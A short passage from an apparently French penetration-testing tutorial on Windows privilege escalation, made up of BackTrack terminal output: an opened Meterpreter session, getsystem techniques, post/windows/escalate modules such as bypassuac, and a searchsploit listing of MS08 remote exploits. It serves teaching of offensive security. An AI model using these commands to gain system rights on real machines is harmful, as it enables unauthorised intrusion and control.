

Elévation des privilèges

- Metasploit

```
root@bt: /pentest/exploits/framework
File Edit View Terminal Help
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.34
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.34:1477) at 20
12-10-08 10:02:15 -0400

meterpreter >
meterpreter >
meterpreter > getsystem -h
Usage: getsystem [options]

Attempt to elevate your privilege to that of local system.

OPTIONS:
  -h      Help Banner.
  -t <opt> The technique to use. (Default to '0').
           0 : All techniques available
           1 : Service - Named Pipe Impersonation (In Memory/Admin)
           2 : Service - Named Pipe Impersonation (Dropper/Admin)
           3 : Service - Token Duplication (In Memory/Admin)
           4 : Exploit - KiTrap0D (In Memory/User)

meterpreter >
```

```
root@bt: /pentest/exploits/framework
File Edit View Terminal Help
meterpreter > run post/windows/escalate/
run post/windows/escalate/bypassuac
run post/windows/escalate/getsystem
run post/windows/escalate/ms10_073_kbdlayout
run post/windows/escalate/ms10_092_schelevator
run post/windows/escalate/net_runtime_modify
run post/windows/escalate/screen_unlock
run post/windows/escalate/service_permissions
meterpreter > run post/windows/escalate/ Google
```

ExploitDB

```
root@bt:/pentest/exploits/exploitdb# ./searchsploit windows | grep remote | grep MS08
```

Windows Media Encoder wmex.dll ActiveX BOF Exploit (MS08-053)	/windows/remote/6454.html
MS Windows GDI (EMR_COLORMATCHTOTARGETW) Exploit MS08-021	/windows/remote/6656.txt
MS Windows Server Service Code Execution Exploit (MS08-067) (Univ)	/windows/remote/6841.txt
MS Windows Server Service Code Execution Exploit (MS08-067)	/windows/remote/7104.c
SmbRelay3 NTLM Replay Attack Tool/Exploit (MS08-068)	/windows/remote/7125.txt
MS Windows Server Service Code Execution Exploit (MS08-067) (2k/2k3)	/windows/remote/7132.py
Microsoft XML Core Services DTD Cross-Domain Scripting PoC MS08-069	/windows/remote/7196.html
Microsoft XML Core Services DTD Cross-Domain Scripting PoC MS08-069	/windows/remote/7196.html